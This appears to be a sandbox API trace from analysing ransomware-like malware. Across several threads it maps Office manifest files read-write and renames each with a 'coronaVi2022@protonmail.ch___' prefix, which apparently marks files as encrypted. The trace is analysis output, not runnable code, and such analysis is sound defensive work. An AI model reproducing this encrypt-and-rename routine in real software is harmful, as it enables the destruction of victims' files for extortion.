	[0088.670] GetCurrentThreadId () returned 0x1550
	[0088.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x770
	[0088.722] GetFileSizeEx (in: hFile=0x770, lpFileSize=0x43eff5c | out: lpFileSize=0x43eff5c*=1273) returned 1
	[0088.722] CreateFileMappingA (hFile=0x770, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x7ec
	[0088.744] MapViewOfFile (hFileMappingObject=0x7ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4870000
	[0088.793] UnmapViewOfFile (lpBaseAddress=0x4870000) returned 1
	[0088.793] CloseHandle (hObject=0x7ec) returned 1
	[0088.793] GetCurrentThreadId () returned 0x1550
	[0088.793] FlushFileBuffers (hFile=0x770) returned 1
	[0089.371] CloseHandle (hObject=0x770) returned 1
	[0089.373] _swprintf (in: param_1=0x43e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 162
	[0089.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1
	[0089.856] free (_Block=0x2fd5858) 
	[0089.856] RtlExitUserThread (Status=0x0) 

Thread:
	id = 308
	os_tid = 0x1554

	[0088.674] _alloca_probe () returned 0x40328a
	[0088.674] GetCurrentThreadId () returned 0x1554
	[0088.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7cc
	[0088.722] GetFileSizeEx (in: hFile=0x7cc, lpFileSize=0x452ff5c | out: lpFileSize=0x452ff5c*=1124955) returned 1
	[0088.722] CreateFileMappingA (hFile=0x7cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x112a65, lpName=0x0) returned 0x7f0
	[0088.754] MapViewOfFile (hFileMappingObject=0x7f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4880000
	[0089.765] UnmapViewOfFile (lpBaseAddress=0x4880000) returned 1
	[0089.776] CloseHandle (hObject=0x7f0) returned 1
	[0089.776] GetCurrentThreadId () returned 0x1554
	[0089.776] FlushFileBuffers (hFile=0x7cc) returned 1
	[0091.129] CloseHandle (hObject=0x7cc) returned 1
	[0091.302] _swprintf (in: param_1=0x4529f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 162
	[0091.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.397] free (_Block=0x2fd6860) 
	[0091.397] RtlExitUserThread (Status=0x0) 

Thread:
	id = 309
	os_tid = 0x1558

	[0088.678] _alloca_probe () returned 0x40328a
	[0088.679] GetCurrentThreadId () returned 0x1558
	[0088.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d0
	[0088.723] GetFileSizeEx (in: hFile=0x7d0, lpFileSize=0x466ff5c | out: lpFileSize=0x466ff5c*=19461) returned 1
	[0088.723] CreateFileMappingA (hFile=0x7d0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c09, lpName=0x0) returned 0x7f4
	[0088.755] MapViewOfFile (hFileMappingObject=0x7f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x49a0000
	[0088.783] UnmapViewOfFile (lpBaseAddress=0x49a0000) returned 1
	[0088.783] CloseHandle (hObject=0x7f4) returned 1
	[0088.783] GetCurrentThreadId () returned 0x1558
	[0088.783] FlushFileBuffers (hFile=0x7d0) returned 1
	[0089.172] CloseHandle (hObject=0x7d0) returned 1
	[0089.174] _swprintf (in: param_1=0x4669f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 162
	[0089.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1
	[0089.175] free (_Block=0x2fd7868) 
	[0089.175] RtlExitUserThread (Status=0x0) 

Thread:
	id = 310
	os_tid = 0x155c

	[0088.761] _alloca_probe () returned 0x40328a
	[0088.766] GetCurrentThreadId () returned 0x155c
	[0088.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc
	[0089.164] GetFileSizeEx (in: hFile=0x7fc, lpFileSize=0x4aeff5c | out: lpFileSize=0x4aeff5c*=763365) returned 1
	[0089.164] CreateFileMappingA (hFile=0x7fc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba5e9, lpName=0x0) returned 0x778
	[0089.171] MapViewOfFile (hFileMappingObject=0x778, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3190000
	[0090.550] UnmapViewOfFile (lpBaseAddress=0x3190000) returned 1
	[0090.557] CloseHandle (hObject=0x778) returned 1
	[0090.557] GetCurrentThreadId () returned 0x155c
	[0090.557] FlushFileBuffers (hFile=0x7fc) returned 1
	[0091.255] CloseHandle (hObject=0x7fc) returned 1
	[0091.373] _swprintf (in: param_1=0x4ae9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 162
	[0091.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.432] free (_Block=0x2fd8870) 
	[0091.432] RtlExitUserThread (Status=0x0) 

Thread:
	id = 311
	os_tid = 0x1560

	[0088.859] _alloca_probe () returned 0x40328a
	[0088.860] GetCurrentThreadId () returned 0x1560
	[0088.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4
	[0088.864] GetFileSizeEx (in: hFile=0x7e4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1273) returned 1
	[0088.864] CreateFileMappingA (hFile=0x7e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x7e8
	[0088.865] MapViewOfFile (hFileMappingObject=0x7e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0088.895] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0088.895] CloseHandle (hObject=0x7e8) returned 1
	[0088.895] GetCurrentThreadId () returned 0x1560
	[0088.895] FlushFileBuffers (hFile=0x7e4) returned 1
	[0089.793] CloseHandle (hObject=0x7e4) returned 1
	[0089.854] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 162
	[0089.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1
	[0089.864] free (_Block=0x2fc5a30) 
	[0089.864] RtlExitUserThread (Status=0x0) 

Thread:
	id = 312
	os_tid = 0x1564

	[0088.869] _alloca_probe () returned 0x40328a
	[0088.870] GetCurrentThreadId () returned 0x1564
	[0088.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f4
	[0088.870] GetFileSizeEx (in: hFile=0x7f4, lpFileSize=0x4c2ff5c | out: lpFileSize=0x4c2ff5c*=1273) returned 1
	[0088.870] CreateFileMappingA (hFile=0x7f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x7d4
	[0088.871] MapViewOfFile (hFileMappingObject=0x7d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0088.892] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0088.892] CloseHandle (hObject=0x7d4) returned 1
	[0088.892] GetCurrentThreadId () returned 0x1564
	[0088.892] FlushFileBuffers (hFile=0x7f4) returned 1
	[0089.791] CloseHandle (hObject=0x7f4) returned 1
	[0089.854] _swprintf (in: param_1=0x4c29f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 162
	[0089.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1
	[0089.863] free (_Block=0x2fd9878) 
	[0089.863] RtlExitUserThread (Status=0x0) 

Thread:
	id = 313
	os_tid = 0x1568

	[0088.873] _alloca_probe () returned 0x40328a
	[0088.874] GetCurrentThreadId () returned 0x1568
	[0088.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804
	[0088.874] GetFileSizeEx (in: hFile=0x804, lpFileSize=0x4d6ff5c | out: lpFileSize=0x4d6ff5c*=2149) returned 1
	[0088.874] CreateFileMappingA (hFile=0x804, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x869, lpName=0x0) returned 0x808
	[0088.875] MapViewOfFile (hFileMappingObject=0x808, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2410000
	[0088.956] UnmapViewOfFile (lpBaseAddress=0x2410000) returned 1
	[0088.956] CloseHandle (hObject=0x808) returned 1
	[0088.956] GetCurrentThreadId () returned 0x1568
	[0088.956] FlushFileBuffers (hFile=0x804) returned 1
	[0089.795] CloseHandle (hObject=0x804) returned 1
	[0089.855] _swprintf (in: param_1=0x4d69f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 162
	[0089.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1
	[0089.865] free (_Block=0x2fda880) 
	[0089.865] RtlExitUserThread (Status=0x0) 

Thread:
	id = 314
	os_tid = 0x156c

	[0088.877] _alloca_probe () returned 0x40328a
	[0088.879] GetCurrentThreadId () returned 0x156c
	[0088.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810
	[0088.879] GetFileSizeEx (in: hFile=0x810, lpFileSize=0x4eaff5c | out: lpFileSize=0x4eaff5c*=2149) returned 1
	[0088.879] CreateFileMappingA (hFile=0x810, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x869, lpName=0x0) returned 0x814
	[0088.880] MapViewOfFile (hFileMappingObject=0x814, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4860000
	[0088.954] UnmapViewOfFile (lpBaseAddress=0x4860000) returned 1
	[0088.954] CloseHandle (hObject=0x814) returned 1
	[0088.955] GetCurrentThreadId () returned 0x156c
	[0088.955] FlushFileBuffers (hFile=0x810) returned 1
	[0089.794] CloseHandle (hObject=0x810) returned 1
	[0089.855] _swprintf (in: param_1=0x4ea9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 162
	[0089.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1
	[0089.865] free (_Block=0x2fdb888) 
	[0089.865] RtlExitUserThread (Status=0x0) 

Thread:
	id = 315
	os_tid = 0x1570

	[0088.883] _alloca_probe () returned 0x40328a
	[0088.884] GetCurrentThreadId () returned 0x1570
	[0088.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c
	[0088.884] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x4feff5c | out: lpFileSize=0x4feff5c*=215893) returned 1
	[0088.884] CreateFileMappingA (hFile=0x81c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34b59, lpName=0x0) returned 0x820
	[0088.887] MapViewOfFile (hFileMappingObject=0x820, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4ff0000
	[0089.447] UnmapViewOfFile (lpBaseAddress=0x4ff0000) returned 1
	[0089.449] CloseHandle (hObject=0x820) returned 1
	[0089.449] GetCurrentThreadId () returned 0x1570
	[0089.449] FlushFileBuffers (hFile=0x81c) returned 1
	[0091.087] CloseHandle (hObject=0x81c) returned 1
	[0091.301] _swprintf (in: param_1=0x4fe9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 162
	[0091.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.396] free (_Block=0x2fdc890) 
	[0091.396] RtlExitUserThread (Status=0x0) 

Thread:
	id = 316
	os_tid = 0x1578

	[0089.922] _alloca_probe () returned 0x40328a
	[0089.923] GetCurrentThreadId () returned 0x1578
	[0089.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4
	[0089.923] GetFileSizeEx (in: hFile=0x7e4, lpFileSize=0x334ff5c | out: lpFileSize=0x334ff5c*=1273) returned 1
	[0089.923] CreateFileMappingA (hFile=0x7e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x810
	[0089.924] MapViewOfFile (hFileMappingObject=0x810, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0090.133] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0090.133] CloseHandle (hObject=0x810) returned 1
	[0090.134] GetCurrentThreadId () returned 0x1578
	[0090.134] FlushFileBuffers (hFile=0x7e4) returned 1
	[0091.172] CloseHandle (hObject=0x7e4) returned 1
	[0091.336] _swprintf (in: param_1=0x3349f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 162
	[0091.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.398] free (_Block=0x2fd7868) 
	[0091.398] RtlExitUserThread (Status=0x0) 

Thread:
	id = 317
	os_tid = 0x157c

	[0089.927] _alloca_probe () returned 0x40328a
	[0089.928] GetCurrentThreadId () returned 0x157c
	[0089.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8
	[0089.928] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=1273) returned 1
